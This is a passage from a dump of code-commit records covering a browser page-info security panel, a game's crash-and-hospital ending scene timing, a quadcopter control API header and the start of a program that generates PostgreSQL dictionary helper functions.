false;\n  if (subject_name.empty()) {\n    subject_name.assign(\n        l10n_util::GetStringUTF16(IDS_PAGE_INFO_SECURITY_TAB_UNKNOWN_PARTY));\n    empty_subject_name = true;\n  }\n  if (ssl.cert_id() &&\n      CertStore::GetSharedInstance()->RetrieveCert(ssl.cert_id(), &cert) &&\n      !net::IsCertStatusError(ssl.cert_status())) {\n    \/\/ OK HTTPS page.\n    if ((ssl.cert_status() & net::CERT_STATUS_IS_EV) != 0) {\n      DCHECK(!cert->subject().organization_names.empty());\n      head_line =\n          l10n_util::GetStringFUTF16(IDS_PAGE_INFO_EV_IDENTITY_TITLE,\n              UTF8ToUTF16(cert->subject().organization_names[0]),\n              UTF8ToUTF16(url.host()));\n      \/\/ An EV Cert is required to have a city (localityName) and country but\n      \/\/ state is \"if any\".\n      DCHECK(!cert->subject().locality_name.empty());\n      DCHECK(!cert->subject().country_name.empty());\n      string16 locality;\n      if (!cert->subject().state_or_province_name.empty()) {\n        locality = l10n_util::GetStringFUTF16(\n            IDS_PAGEINFO_ADDRESS,\n            UTF8ToUTF16(cert->subject().locality_name),\n            UTF8ToUTF16(cert->subject().state_or_province_name),\n            UTF8ToUTF16(cert->subject().country_name));\n      } else {\n        locality = l10n_util::GetStringFUTF16(\n            IDS_PAGEINFO_PARTIAL_ADDRESS,\n            UTF8ToUTF16(cert->subject().locality_name),\n            UTF8ToUTF16(cert->subject().country_name));\n      }\n      DCHECK(!cert->subject().organization_names.empty());\n      description.assign(l10n_util::GetStringFUTF16(\n          IDS_PAGE_INFO_SECURITY_TAB_SECURE_IDENTITY_EV,\n          UTF8ToUTF16(cert->subject().organization_names[0]),\n          locality,\n          UTF8ToUTF16(GetIssuerName(cert->issuer()))));\n    } else {\n      \/\/ Non EV OK HTTPS.\n      if (empty_subject_name)\n        head_line.clear();  \/\/ Don't display any title.\n      else\n        head_line.assign(subject_name);\n      string16 issuer_name(UTF8ToUTF16(GetIssuerName(cert->issuer())));\n      if (issuer_name.empty()) {\n        issuer_name.assign(l10n_util::GetStringUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_UNKNOWN_PARTY));\n      } else {\n        description.assign(l10n_util::GetStringFUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_SECURE_IDENTITY, issuer_name));\n      }\n    }\n  } else {\n    \/\/ HTTP or bad HTTPS.\n    description.assign(l10n_util::GetStringUTF16(\n        IDS_PAGE_INFO_SECURITY_TAB_INSECURE_IDENTITY));\n    state = false;\n  }\n  sections_.push_back(SectionInfo(\n      state,\n      l10n_util::GetStringUTF16(IDS_PAGE_INFO_SECURITY_TAB_IDENTITY_TITLE),\n      head_line,\n      description));\n\n  \/\/ Connection section.\n  \/\/ We consider anything less than 80 bits encryption to be weak encryption.\n  \/\/ TODO(wtc): Bug 1198735: report mixed\/unsafe content for unencrypted and\n  \/\/ weakly encrypted connections.\n  state = true;\n  head_line.clear();\n  description.clear();\n  if (ssl.security_bits() <= 0) {\n    state = false;\n    description.assign(l10n_util::GetStringFUTF16(\n        IDS_PAGE_INFO_SECURITY_TAB_NOT_ENCRYPTED_CONNECTION_TEXT,\n        subject_name));\n  } else if (ssl.security_bits() < 80) {\n    state = false;\n    description.assign(l10n_util::GetStringFUTF16(\n        IDS_PAGE_INFO_SECURITY_TAB_WEAK_ENCRYPTION_CONNECTION_TEXT,\n        subject_name));\n  } else {\n    description.assign(l10n_util::GetStringFUTF16(\n        IDS_PAGE_INFO_SECURITY_TAB_ENCRYPTED_CONNECTION_TEXT,\n        subject_name,\n        IntToString16(ssl.security_bits())));\n    if (ssl.displayed_insecure_content() || ssl.ran_insecure_content()) {\n      state = false;\n      description.assign(l10n_util::GetStringFUTF16(\n          IDS_PAGE_INFO_SECURITY_TAB_ENCRYPTED_SENTENCE_LINK,\n          description,\n          l10n_util::GetStringUTF16(ssl.ran_insecure_content() ?\n              IDS_PAGE_INFO_SECURITY_TAB_ENCRYPTED_INSECURE_CONTENT_ERROR :\n              IDS_PAGE_INFO_SECURITY_TAB_ENCRYPTED_INSECURE_CONTENT_WARNING)));\n    }\n  }\n  sections_.push_back(SectionInfo(\n      state,\n      l10n_util::GetStringUTF16(IDS_PAGE_INFO_SECURITY_TAB_CONNECTION_TITLE),\n      head_line,\n      description));\n\n  \/\/ Request the number of visits.\n  HistoryService* history = profile->GetHistoryService(\n      Profile::EXPLICIT_ACCESS);\n  if (show_history && history) {\n    history->GetVisitCountToHost(\n        url,\n        &request_consumer_,\n        NewCallback(this, &PageInfoModel::OnGotVisitCountToHost));\n  }\n}\n\nint PageInfoModel::GetSectionCount() {\n  return sections_.size();\n}\n\nPageInfoModel::SectionInfo PageInfoModel::GetSectionInfo(int index) {\n  DCHECK(index < static_cast<int>(sections_.size()));\n  return sections_[index];\n}\n\nvoid PageInfoModel::OnGotVisitCountToHost(HistoryService::Handle handle,\n                                          bool found_visits,\n                                          int count,\n                                          base::Time first_visit) {\n  if (!found_visits) {\n    \/\/ This indicates an error, such as the page wasn't http\/https; do nothing.\n    return;\n  }\n\n  bool visited_before_today = false;\n  if (count) {\n    base::Time today = base::Time::Now().LocalMidnight();\n    base::Time first_visit_midnight = first_visit.LocalMidnight();\n    visited_before_today = (first_visit_midnight < today);\n  }\n\n  if (!visited_before_today) {\n    sections_.push_back(SectionInfo(\n        false,\n        l10n_util::GetStringUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_PERSONAL_HISTORY_TITLE),\n        string16(),\n        l10n_util::GetStringUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_FIRST_VISITED_TODAY)));\n  } else {\n    sections_.push_back(SectionInfo(\n        true,\n        l10n_util::GetStringUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_PERSONAL_HISTORY_TITLE),\n        string16(),\n        l10n_util::GetStringFUTF16(\n            IDS_PAGE_INFO_SECURITY_TAB_VISITED_BEFORE_TODAY,\n            WideToUTF16(base::TimeFormatShortDate(first_visit)))));\n  }\n  observer_->ModelChanged();\n}\n\n\/\/ static\nvoid PageInfoModel::RegisterPrefs(PrefService* prefs) {\n  prefs->RegisterDictionaryPref(prefs::kPageInfoWindowPlacement);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\n#include \"EndingScene.h\"\n#include \"ConstVars.h\"\n#include \"FileStuff.h\"\n#include \"StageScene.h\"\n#include \"SimpleAudioEngine.h\"\n\nScene* EndingScene::createScene()\n{\n\tScene* scene = Scene::create();\n\n\tLayer* layer = EndingScene::create();\n\tscene->addChild(layer);\n\n\treturn scene;\n}\n\nbool EndingScene::init()\n{\n\n\tif (!Layer::init())\n\t{\n\t\treturn false;\n\t}\n\n\tSequence* seq = Sequence::create(\n\tDelayTime::create(2.0f),\n\n \tCallFuncN::create(CC_CALLBACK_0(EndingScene::ShowCrashingScene, this)),\n \tDelayTime::create(9.0f),\n\n \tCallFuncN::create(CC_CALLBACK_0(EndingScene::ShowAfterCrash, this)),\n \tDelayTime::create(4.5f),\n\n\tCallFuncN::create(CC_CALLBACK_0(EndingScene::ShowWhiteScene, this)),\n\tDelayTime::create(3.0f),\n\n\tCallFuncN::create(CC_CALLBACK_0(EndingScene::ShowHospital, this)),\n\t\n\tnullptr);\n\n\trunAction(seq);\n\treturn true;\n}\n\nvoid EndingScene::ShowCrashingScene()\n{\n\tremoveAllChildrenWithCleanup(true);\n\n\tCallFunc* nodding1 = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BEFORE_CRASHING_0));\n\tCallFunc* nodding2 = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BEFORE_CRASHING_1));\n\tCallFunc* crashingSound = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeSoundEffect, this, FileStuff::SOUND_CRASH));\n\tCallFunc* crashing1 = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BEFORE_CRASHING_2));\n\tCallFunc* crashing2 = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BEFORE_CRASHING_3));\n\/\/\tCallFunc* blackout = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BLACKOUT));\n\n\tSequence* seq = Sequence::create(\n\t\tcrashingSound,\n\t\tnodding1,\n\t\tDelayTime::create(2.0f),\n\t\tnodding2,\n\t\tDelayTime::create(1.0f),\n\t\tnodding1,\n\t\tDelayTime::create(2.0f),\n\t\tnodding2,\n\t\tDelayTime::create(1.5f),\n\t\tcrashing1,\n\t\tDelayTime::create(0.2f),\n\t\tcrashing2,\n\t\tDelayTime::create(1.2f),\n\/\/\t\tblackout,\n\t\tnullptr\n\t\t);\n\n\trunAction(seq);\n}\n\nvoid EndingScene::ChangeSoundEffect(const char* sound)\n{\n\tCocosDenshion::SimpleAudioEngine::sharedEngine()->playEffect(sound, false);\n}\n\nvoid EndingScene::ShowAfterCrash()\n{\n\tm_background = Sprite::create(FileStuff::AFTER_CRASHED);\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (m_background->getContentSize().width);\n\tm_background->setAnchorPoint(Point::ZERO);\n\tm_background->setScale(scale);\n\taddChild(m_background);\n}\n\nvoid EndingScene::ChangeBackgroundImg(string bgImg)\n{\n\tremoveAllChildren();\n\tm_background = Sprite::create(bgImg);\n\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (m_background->getContentSize().width);\n\tm_background->setAnchorPoint(Point::ZERO);\n\tm_background->setScale(scale);\n\tm_background->setName(\"background\");\n\taddChild(m_background);\n\n}\n\nvoid EndingScene::AddMonitor()\n{\n\tSprite* monitor = Sprite::create(FileStuff::MONITOR);\n\n\tmonitor->setPosition(Vec2(130, 335));\n\tmonitor->setScale(2.0f);\n\n\tmonitor->setName(\"monitor\");\n\taddChild(monitor);\n}\n\nvoid EndingScene::FadeOut()\n{\n\tremoveAllChildren();\n\n\tm_background = Sprite::create(FileStuff::HOSPITAL_WAKED);\n\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (m_background->getContentSize().width);\n\tm_background->setAnchorPoint(Point::ZERO);\n\tm_background->setScale(scale);\n\taddChild(m_background);\n\n\tSprite* monitor = Sprite::create(FileStuff::MONITOR);\n\taddChild(monitor);\n\n\tmonitor->setScale(2.0f);\n\tmonitor->setPosition(Vec2(130, 335));\n\n\tm_background->runAction(\n\t\tSequence::create(\n\t\tFadeOut::create(12.0f),\n\t\tnullptr\n\t\t)\n\t);\n\n\tmonitor->runAction(\n\t\tSequence::create(\n\t\tFadeOut::create(5.0f),\n\t\tnullptr)\n\t\t);\n}\n\nvoid EndingScene::ShowHospital()\n{\n\tCocosDenshion::SimpleAudioEngine::sharedEngine()->playEffect(FileStuff::SOUND_EAR_RINGING, false, 3.0f);\n\n\tm_background = Sprite::create(FileStuff::HOSPITAL_CLOSED_EYE);\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (m_background->getContentSize().width);\n\tm_background->setAnchorPoint(Point::ZERO);\n\tm_background->setScale(scale);\n\taddChild(m_background);\n\tm_background->setOpacity(0);\n\n\tm_background->runAction(\n\t\tSequence::create(\n\t\tDelayTime::create(5.0f),\n\t\tFadeIn::create(5.0f),\n\t\tnullptr)\n\t\t);\n\n\tSequence* standing = Sequence::create(\n\t\tDelayTime::create(12.0f),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::HOSPITAL_OPEN_EYE)),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::AddMonitor, this)),\n\t\tDelayTime::create(1.0f),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::HOSPITAL_WAKING)),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::AddMonitor, this)),\n\t\tDelayTime::create(0.5f),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::HOSPITAL_WAKED)),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::AddMonitor, this)),\n\t\tDelayTime::create(3.0f),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::FadeOut, this)),\n\t\tnullptr\n\t\t);\n\n\trunAction(standing);\n\n\tSprite* monitor = Sprite::create(FileStuff::MONITOR);\n\taddChild(monitor);\n\n\tmonitor->setScale(2.0f);\n\tmonitor->setPosition(Vec2(130, 335));\n\tmonitor->setOpacity(0);\n\n\tmonitor->runAction(\n\t\tFadeIn::create(2.0f)\n\t\t);\n}\n\nvoid EndingScene::ShowWhiteScene()\n{\n\tremoveAllChildrenWithCleanup(true);\n\tSprite* white = Sprite::create(FileStuff::WHITE);\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (white->getContentSize().width);\n\twhite->setAnchorPoint(Point::ZERO);\n\twhite->setScale(scale);\n\twhite->runAction(FadeOut::create(1.5f));\n\taddChild(white);\n}\n\nvoid EndingScene::RemoveAllChildren()\n{\n\tremoveAllChildren();\n}\n<commit_msg>Add one second between dead body and crashing<commit_after>#include \"stdafx.h\"\n#include \"EndingScene.h\"\n#include \"ConstVars.h\"\n#include \"FileStuff.h\"\n#include \"StageScene.h\"\n#include \"SimpleAudioEngine.h\"\n\nScene* EndingScene::createScene()\n{\n\tScene* scene = Scene::create();\n\n\tLayer* layer = EndingScene::create();\n\tscene->addChild(layer);\n\n\treturn scene;\n}\n\nbool EndingScene::init()\n{\n\n\tif (!Layer::init())\n\t{\n\t\treturn false;\n\t}\n\n\tSequence* seq = Sequence::create(\n\tDelayTime::create(2.0f),\n\n \tCallFuncN::create(CC_CALLBACK_0(EndingScene::ShowCrashingScene, this)),\n \tDelayTime::create(9.0f),\n\n \tCallFuncN::create(CC_CALLBACK_0(EndingScene::ShowAfterCrash, this)),\n \tDelayTime::create(7.0f),\n\n\tCallFuncN::create(CC_CALLBACK_0(EndingScene::ShowWhiteScene, this)),\n\tDelayTime::create(3.0f),\n\n\tCallFuncN::create(CC_CALLBACK_0(EndingScene::ShowHospital, this)),\n\t\n\tnullptr);\n\n\trunAction(seq);\n\treturn true;\n}\n\nvoid EndingScene::ShowCrashingScene()\n{\n\tremoveAllChildrenWithCleanup(true);\n\n\tCallFunc* nodding1 = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BEFORE_CRASHING_0));\n\tCallFunc* nodding2 = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BEFORE_CRASHING_1));\n\tCallFunc* crashingSound = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeSoundEffect, this, FileStuff::SOUND_CRASH));\n\tCallFunc* crashing1 = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BEFORE_CRASHING_2));\n\tCallFunc* crashing2 = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BEFORE_CRASHING_3));\n\/\/\tCallFunc* blackout = CallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::BLACKOUT));\n\n\tSequence* seq = Sequence::create(\n\t\tcrashingSound,\n\t\tnodding1,\n\t\tDelayTime::create(2.0f),\n\t\tnodding2,\n\t\tDelayTime::create(1.0f),\n\t\tnodding1,\n\t\tDelayTime::create(2.0f),\n\t\tnodding2,\n\t\tDelayTime::create(1.5f),\n\t\tcrashing1,\n\t\tDelayTime::create(0.2f),\n\t\tcrashing2,\n\t\tDelayTime::create(1.2f),\n\/\/\t\tblackout,\n\t\tnullptr\n\t\t);\n\n\trunAction(seq);\n}\n\nvoid EndingScene::ChangeSoundEffect(const char* sound)\n{\n\tCocosDenshion::SimpleAudioEngine::sharedEngine()->playEffect(sound, false);\n}\n\nvoid EndingScene::ShowAfterCrash()\n{\n\tm_background = Sprite::create(FileStuff::AFTER_CRASHED);\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (m_background->getContentSize().width);\n\tm_background->setAnchorPoint(Point::ZERO);\n\tm_background->setScale(scale);\n\taddChild(m_background);\n}\n\nvoid EndingScene::ChangeBackgroundImg(string bgImg)\n{\n\tremoveAllChildren();\n\tm_background = Sprite::create(bgImg);\n\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (m_background->getContentSize().width);\n\tm_background->setAnchorPoint(Point::ZERO);\n\tm_background->setScale(scale);\n\tm_background->setName(\"background\");\n\taddChild(m_background);\n\n}\n\nvoid EndingScene::AddMonitor()\n{\n\tSprite* monitor = Sprite::create(FileStuff::MONITOR);\n\n\tmonitor->setPosition(Vec2(130, 335));\n\tmonitor->setScale(2.0f);\n\n\tmonitor->setName(\"monitor\");\n\taddChild(monitor);\n}\n\nvoid EndingScene::FadeOut()\n{\n\tremoveAllChildren();\n\n\tm_background = Sprite::create(FileStuff::HOSPITAL_WAKED);\n\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (m_background->getContentSize().width);\n\tm_background->setAnchorPoint(Point::ZERO);\n\tm_background->setScale(scale);\n\taddChild(m_background);\n\n\tSprite* monitor = Sprite::create(FileStuff::MONITOR);\n\taddChild(monitor);\n\n\tmonitor->setScale(2.0f);\n\tmonitor->setPosition(Vec2(130, 335));\n\n\tm_background->runAction(\n\t\tSequence::create(\n\t\tFadeOut::create(12.0f),\n\t\tnullptr\n\t\t)\n\t);\n\n\tmonitor->runAction(\n\t\tSequence::create(\n\t\tFadeOut::create(5.0f),\n\t\tnullptr)\n\t\t);\n}\n\nvoid EndingScene::ShowHospital()\n{\n\tCocosDenshion::SimpleAudioEngine::sharedEngine()->playEffect(FileStuff::SOUND_EAR_RINGING, false, 3.0f);\n\n\tm_background = Sprite::create(FileStuff::HOSPITAL_CLOSED_EYE);\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (m_background->getContentSize().width);\n\tm_background->setAnchorPoint(Point::ZERO);\n\tm_background->setScale(scale);\n\taddChild(m_background);\n\tm_background->setOpacity(0);\n\n\tm_background->runAction(\n\t\tSequence::create(\n\t\tDelayTime::create(5.0f),\n\t\tFadeIn::create(5.0f),\n\t\tnullptr)\n\t\t);\n\n\tSequence* standing = Sequence::create(\n\t\tDelayTime::create(12.0f),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::HOSPITAL_OPEN_EYE)),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::AddMonitor, this)),\n\t\tDelayTime::create(1.0f),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::HOSPITAL_WAKING)),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::AddMonitor, this)),\n\t\tDelayTime::create(0.5f),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::ChangeBackgroundImg, this, FileStuff::HOSPITAL_WAKED)),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::AddMonitor, this)),\n\t\tDelayTime::create(3.0f),\n\t\tCallFunc::create(CC_CALLBACK_0(EndingScene::FadeOut, this)),\n\t\tnullptr\n\t\t);\n\n\trunAction(standing);\n\n\tSprite* monitor = Sprite::create(FileStuff::MONITOR);\n\taddChild(monitor);\n\n\tmonitor->setScale(2.0f);\n\tmonitor->setPosition(Vec2(130, 335));\n\tmonitor->setOpacity(0);\n\n\tmonitor->runAction(\n\t\tFadeIn::create(2.0f)\n\t\t);\n}\n\nvoid EndingScene::ShowWhiteScene()\n{\n\tremoveAllChildrenWithCleanup(true);\n\tSprite* white = Sprite::create(FileStuff::WHITE);\n\tfloat scale = (Director::getInstance()->getVisibleSize().width) \/ (white->getContentSize().width);\n\twhite->setAnchorPoint(Point::ZERO);\n\twhite->setScale(scale);\n\twhite->runAction(FadeOut::create(1.5f));\n\taddChild(white);\n}\n\nvoid EndingScene::RemoveAllChildren()\n{\n\tremoveAllChildren();\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\nnamespace kitrokopter {\n\nclass API {\n\n\tpublic:\n\n\t\tAPI();\n\n\t\t\/* Quadcopter mutation *\/\n\t\tAPIQuadcopter getQuadcopter(int id);\n\t\tvoid removeQuadcopter(int id);\n\n\t\t\/* Formation *\/\n\t\tvoid setFormation(APIFormation formation);\n\t\tAPIFormation getFormation();\n\n\t\t\/* Cameras *\/\n\t\tAPICameraSystem getCameraSystem();\n\t\tAPICamera[] getCameras();\n\t\tAPICamera[] getCalibratedCameras();\n\t\tAPICamera[] getUncalibratedCameras();\n\t\tint getCameraAmount();\n\t\tint getCalibratedCameraAmount();\n\t\tint getUncalibratedCameraAmount();\n\n\t\t\/* Quadcopter getters *\/\n\t\tAPIQuadcopter[] getQuadcopters();\n\t\tAPIQuadcopter[] getQuadcoptersFlying();\n\t\tAPIQuadcopter[] getQuadcoptersOnGround();\n\t\tAPIQuadcopter[] getQuadcoptersTracked();\n\t\tAPIQuadcopter[] getQuadcoptersUntracked();\n\t\tAPIQuadcopter[] getQuadcoptersInFormation();\n\t\tAPIQuadcopter[] getQuadcoptersNotInFormation();\n\n\t\t\/* Quadcopter amount *\/\n\t\tint getQuadcopterAmount();\n\t\tint getQuadcoptersFlyingAmount();\n\t\tint getQuadcoptersOnGroundAmount();\n\t\tint getQuadcoptersTrackedAmount();\n\t\tint getQuadcoptersUntrackedAmount();\n\t\tint getQuadcoptersInFormationAmount();\n\t\tint getQuadcoptersNotInFormationAmount();\n\n\t\t\/* message listeners *\/\n\t\tvoid addMessageListener(APIMessageListener);\n\t\tvoid removeMessageListener(APIMessageListener);\n\n\t\t\/* Launch \/ Land *\/\n\t\tvoid launchQuadcopters(int height);\n\t\tdouble getLaunchProgress();\n\t\tbool quadcoptersLaunched();\n\t\tvoid landQuadcopters();\n\n\t\tvoid shutdownSystem();\n\n\t\t\/* Settings *\/\n\t\tCuboid getMaximumOperatingArea();\n\t\tbool setOperatingArea(Cuboid);\n\t\tint getMaximumHorizontalSpeed();\n\t\tint getMaximumVerticalSpeed();\n\t\tint getMaximumHorizontalAcceleration();\n\t\tint getMaximumVerticalAcceleration();\n\t\tvoid setReceiveTargetMovementData(bool);\n\t\tvoid setReceiveActualMovementData(bool);\n\t\tvoid setReceiveQuadcopterState(bool);\n\n\t\t\/* Movement *\/\n\t\tvoid moveFormation(Vector);\n\t\tvoid rotateFormation(Vector);\n\n};\n\n}\n<commit_msg>Use std::vector instead of C arrays<commit_after>#pragma once\n\n#include <vector>\n\nnamespace kitrokopter {\n\nclass API {\n\n\tpublic:\n\n\t\tAPI();\n\n\t\t\/* Quadcopter mutation *\/\n\t\tAPIQuadcopter getQuadcopter(int id);\n\t\tvoid removeQuadcopter(int id);\n\n\t\t\/* Formation *\/\n\t\tvoid setFormation(APIFormation formation);\n\t\tAPIFormation getFormation();\n\n\t\t\/* Cameras *\/\n\t\tAPICameraSystem getCameraSystem();\n\t\tstd::vector<APICamera> getCameras();\n\t\tstd::vector<APICamera> getCalibratedCameras();\n\t\tstd::vector<APICamera> getUncalibratedCameras();\n\t\tint getCameraAmount();\n\t\tint getCalibratedCameraAmount();\n\t\tint getUncalibratedCameraAmount();\n\n\t\t\/* Quadcopter getters *\/\n\t\tstd::vector<APIQuadcopter> getQuadcopters();\n\t\tstd::vector<APIQuadcopter> getQuadcoptersFlying();\n\t\tstd::vector<APIQuadcopter> getQuadcoptersOnGround();\n\t\tstd::vector<APIQuadcopter> getQuadcoptersTracked();\n\t\tstd::vector<APIQuadcopter> getQuadcoptersUntracked();\n\t\tstd::vector<APIQuadcopter> getQuadcoptersInFormation();\n\t\tstd::vector<APIQuadcopter> getQuadcoptersNotInFormation();\n\n\t\t\/* Quadcopter amount *\/\n\t\tint getQuadcopterAmount();\n\t\tint getQuadcoptersFlyingAmount();\n\t\tint getQuadcoptersOnGroundAmount();\n\t\tint getQuadcoptersTrackedAmount();\n\t\tint getQuadcoptersUntrackedAmount();\n\t\tint getQuadcoptersInFormationAmount();\n\t\tint getQuadcoptersNotInFormationAmount();\n\n\t\t\/* message listeners *\/\n\t\tvoid addMessageListener(APIMessageListener);\n\t\tvoid removeMessageListener(APIMessageListener);\n\n\t\t\/* Launch \/ Land *\/\n\t\tvoid launchQuadcopters(int height);\n\t\tdouble getLaunchProgress();\n\t\tbool quadcoptersLaunched();\n\t\tvoid landQuadcopters();\n\n\t\tvoid shutdownSystem();\n\n\t\t\/* Settings *\/\n\t\tCuboid getMaximumOperatingArea();\n\t\tbool setOperatingArea(Cuboid);\n\t\tint getMaximumHorizontalSpeed();\n\t\tint getMaximumVerticalSpeed();\n\t\tint getMaximumHorizontalAcceleration();\n\t\tint getMaximumVerticalAcceleration();\n\t\tvoid setReceiveTargetMovementData(bool);\n\t\tvoid setReceiveActualMovementData(bool);\n\t\tvoid setReceiveQuadcopterState(bool);\n\n\t\t\/* Movement *\/\n\t\tvoid moveFormation(Vector);\n\t\tvoid rotateFormation(Vector);\n\n};\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <exodus\/program.h>\nprograminit()\n\nvar verbose;\nvar dictfilename;\nvar dictfile;\nvar dictrec;\n\nfunction main() {\n\n\t\/\/ Syntax:\n\t\/\/ dict2sql {filename {dictid}} {V}\n\n\t\/\/ 1. Creates pgsql functions to calculate columns given data and key\n\t\/\/\n\t\/\/ functions like \"dict_filename_DICT_ID(key,data)\" returns text\n\t\/\/ \/df\n\t\/\/ List of functions\n\t\/\/ Schema | Name | Result data type | Argument data types | Type\n\t\/\/ -------+---------------------------+--------------------+---------------------+--------\n\t\/\/ public | dict_ads_brand_and_date | text | key text, data text | normal\n\t\/\/ ...\n\n\t\/\/ NOTE: Multivalued pgsql dictionary functions currently should be written to calculate\n\t\/\/ and return ALL multivalues (as if MV=0) since currently exodus never requests postgres\n\t\/\/ to call a dict functions to get a specific mv.\n\t\/\/ If in future MV is required, then dict function arguments will probably become (key,data,mv)\n\n\t\/\/ 2. Creates dict_all file which represents all dictionary files and their items in one file\n\t\/\/\n\t\/\/ only performed when filename is omitted\n\t\/\/\n\t\/\/ see \"listdict all\"\n\n\t\/\/ 3. Creates various exodus pgsql utility functions\n\t\/\/\n\t\/\/ only performed when filename is omitted\n\t\/\/\n\t\/\/ \/df\n\t\/\/ List of functions\n\t\/\/ Schema | Name | Result data type | Argument data types | Type\n\t\/\/ -------+---------------------------+--------------------+---------------------+--------\n\t\/\/ public | exodus_count | integer | text, text | normal\n\t\/\/ public | exodus_trim | text | data text\n\t\/\/ ...\n\n\t\/\/TODO work on more than the default db connection\n\n\tvar filenames=COMMAND.a(2).lcase();\n\tvar dictid=COMMAND.a(3);\n\tverbose=index(OPTIONS,'V');\n\tvar doall = true;\n\n\tif (filenames)\n\t{\n\t\tdoall = false;\n\t\tif (filenames.substr(1,5) ne \"dict_\")\n\t\t\tfilenames.splicer(1,0,\"dict_\");\n\t}\n\telse\n\t\tfilenames=var().listfiles();\n\n\t\/\/create global view of all dicts in \"dict_all\"\n\tvar viewsql=\"\";\n\tif (doall)\n\t\tviewsql ^= \"CREATE MATERIALIZED VIEW dict_all AS\\n\";\n\n\t\/\/do one or many\/all files\n\tint nfiles=dcount(filenames,FM);\n\tfor (int filen=1;filen<=nfiles;++filen)\n\t\tonefile(filenames.a(filen),dictid,viewsql);\n\n\t\/\/quit if not doing all files\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tif (!doall)\n\t\treturn 0;\n\n\t\/\/create dict_all file\n\n\t\/\/ignore error if doesnt exist\n\tif (not var().sqlexec(\"DROP MATERIALIZED VIEW dict_all\"))\n\t\tvar().sqlexec(\"DROP VIEW dict_all\");\n\n\tviewsql.splicer(-6,6,\"\");\/\/remove trailing \"UNION\" word\n\tvar errmsg;\n\tif (verbose)\n\t\tviewsql.output(\"SQL:\");\n\tif (var().sqlexec(viewsql,errmsg))\n\t\tprintl(\"dict_all file created\");\n\telse {\n\t\tif (not verbose)\n\t\t\tviewsql.outputl(\"SQL:\");\n\t\terrmsg.outputl(\"Error:\");\n\t}\n\n\t\/\/create exodus pgsql functions\n\n\tvar sqltemplate=\nR\"V0G0N(\nCREATE OR REPLACE FUNCTION\n$functionname_and_args\nRETURNS text\nAS\n$$\nBEGIN\n$sqlcode\nEND;\n$$\nLANGUAGE 'plpgsql'\nIMMUTABLE\nSECURITY\nDEFINER\nCOST 10;\n)V0G0N\";\n\n\t\/\/exodus_trim\n\tvar trimsql=R\"(return regexp_replace(regexp_replace(data, '^\\s+|\\s+$', '', 'g'),'\\s{2,}',' ','g');)\";\n\tdo_sql(\"exodus_trim(data text)\",trimsql,sqltemplate);\n\n\t\/\/exodus_field_remove\n\tvar removesql=\nR\"V0G0N(\nDECLARE\n charn int;\n nchars int;\n currfieldn int;\n ans text;\n\nBEGIN\n\n if fieldno<=0 then\n  if fieldno=0 then\n   return '';\n  end if;\n  return data;\n end if;\n\n ans := '';\n currfieldn :=1;\n nchars := length(data);\n for charn in 1..nchars loop\n\n  if substr(data,charn,1) = sep then\n\n   currfieldn=currfieldn+1;\n\n   if currfieldn=fieldno then\n    ans := substr(data,1,charn-1);\n\n   elseif currfieldn>fieldno then\n    if ans<>'' then\n     ans := ans || sep || substr(data,charn+1);\n    else\n     ans := substr(data,charn+1);\n    end if;\n    return ans;\n   end if;\n\n  end if;\n\n end loop;\n\n -- deleting beyond the number of existing fields\n if currfieldn<fieldno then\n  return data;\n  end if;\n\n return ans;\n\nEND;\n)V0G0N\";\n\n\tdo_sql(\"exodus_field_remove(data text, sep text, fieldno int)\",removesql,sqltemplate);\n\n\treturn 0;\n}\n\nsubroutine do_sql(in functionname_and_args, in sql, in sqltemplate) 